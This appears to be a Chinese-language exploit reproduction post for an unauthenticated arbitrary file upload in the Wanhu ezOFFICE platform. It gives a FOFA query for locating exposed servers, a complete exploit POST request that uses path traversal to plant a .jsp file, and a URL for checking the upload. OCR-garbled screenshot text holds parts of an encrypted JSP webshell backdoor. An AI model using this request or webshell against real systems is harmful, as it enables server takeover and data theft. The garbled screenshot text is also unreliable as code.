W1-20万户-ezOffice-文件上传

漏洞描述:

万户ezOFFICE协同管理平台wpsservlet接口处存在任意文件上传漏洞,未经身份认证的攻击者可以通过此漏洞上传恶意后门文件,造成代码执行或服务器失陷。

网站图片:

```
万户ezOFFICE协同管理平台
```

网络测绘:

fofa语法:

FOFA: app="万户网络-ezOFFICE"

漏洞复现:

POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=1&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1 Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Cache-Control: max-agen0 Content-Type: multipart/form-data; boundary=803e058d60f347f7b3c17fa95228eca6
Accept-Encoding: gzip --803e058d60f347f7b3c17fa95228eca6 Content-Disposition: form-data; name="NewFile"; filename="1.jsp"

马子 --803e058d60f347f7b3c17fa95228eca6--

效果图: 上传马子

Request 〈 〉 数据包扫描 热加载 构造请求 \$3 Responses Obytes / 61ms 1 POST·/defaultroot/wpsservlet?option=saveNewFile&newdocId=1&dir=../platform/portal/layout/&fileType=. 1 HTTP/1.1 · 200 · OK x-frame-options: SAMEORIGIN isp HTTP/1.1 Set-Cookie: SESSIONIDOA=8414E83611968B524A Host : $\textbf{User-Agent:} \cdot \texttt{Mozilla/5.0} \cdot (\texttt{Macintosh;} \cdot \texttt{Intel} \cdot \texttt{Mac} \cdot \texttt{OS} \cdot \texttt{X} \cdot \texttt{10_14_3}) \cdot \texttt{AppleWebKit/605.1.15} \cdot (\texttt{KHTML,} \cdot \texttt{like-Mac} \cdot \texttt{Nozilla/5.0}) \cdot \texttt{Mozilla/5.0} \cdot (\texttt{Mozilla/5.0} \cdot \texttt{Mozilla/5.0}) \cdot \texttt{Mozilla/5.0} \cdot \texttt$ Date: Thu, 30 Nov 2023 08:24:00 GMT Gecko) Version/12.0.3 Safari/605.1.15 Server: Cache-Control: max-age=0 Content-Type: multipart/form-data; boundary=803e058d60f347f7b3c17fa95228eca6 Accept-Encoding: gzip --803e058d60f347f7b3c17fa95228eca6 Content-Disposition: form-data; name="NewFile"; filename="1.isp" 10 $\label{eq:continuous} $$<\%! \cdot String \cdot xc = "3c6e0b8a9c15224a"; \cdot String \cdot pass = "pass"; \cdot String \cdot md5 = md5(pass + xc); \cdot class \cdot X \cdot extends = (a.c., b.c., b.c.,$ ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] - cb){return - super.defineClass (cb, -0, -cb.length);} - }public - byte[] - x(byte[] - x, boolean - m){ - try{javax.crypto.Cipher - c=javax.crypto.Cipher - c=javax.crypto.Cipher - c=javax.crypto.SeptInstance("AES"); c.init(m?1:2, new-javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); $return \cdot c.doFinal(s); \cdot \} catch \cdot (Exception \cdot e) \{return \cdot null; \cdot \} \} \cdot public \cdot static \cdot String \cdot md5 (String \cdot s) \cdot (Exception \cdot e) \} \cdot public \cdot static \cdot String \cdot md5 (String \cdot s) \cdot (Exception \cdot e) \} \cdot public \cdot static \cdot String \cdot md5 (String \cdot s) \cdot (Exception \cdot e) \} \cdot public \cdot static \cdot String \cdot md5 (String \cdot s) \cdot (Exception \cdot e) \} \cdot public \cdot static \cdot String \cdot md5 (String \cdot s) \cdot (Exception \cdot e) \} \cdot public \cdot static \cdot String \cdot md5 (String \cdot s) \cdot (Exception \cdot e) \} \cdot public \cdot static \cdot String \cdot md5 (String \cdot s) \cdot (Exception \cdot e) \} \cdot public \cdot static \cdot String \cdot md5 (String \cdot s) \cdot (Exception \cdot e) \} \cdot public \cdot static \cdot String \cdot md5 (String \cdot s) \cdot (Exception \cdot e) \} \cdot public \cdot static \cdot String \cdot md5 (String \cdot s) \cdot (Exception \cdot e) \} \cdot public \cdot s \cdot (Exception \cdot e) \} \cdot public \cdot$ {String ret = null; try { java.security.MessageDigest m; m = - java.security.MessageDigest.getInstance ("MD5");m.update(s.**get**Bytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString (16).toUpperCase();}-catch (Exception-e)-{}return-ret;-}-public-static-String-base64Encode(byte[]-bs)-throws-Exception-{Class-base64;String-value-=-null;try-{base64-Class.forName("java.util. Base64");Object-Encoder-=-base64.getMethod("getEncoder",-null).invoke(base64,-null);value-=-(String) Encoder.getClass().getMethod("encodeToString", new-Class[]-{-byte[].class-}).invoke(Encoder, new-Object[]-{-bs-});}-catch-(Exception-e)-{try-{-base64-Class.forName("sun.misc.BASE64Encoder");}-Object Encoder = base64.newInstance(): value = (String)Encoder.getClass().getMethod("encode". 验证url

http://your-ip/defaultroot/platform/portal/layout/1.jsp

← → C ▲ 不安全 7007/defaultroot/platform/portal/layout/1.jsp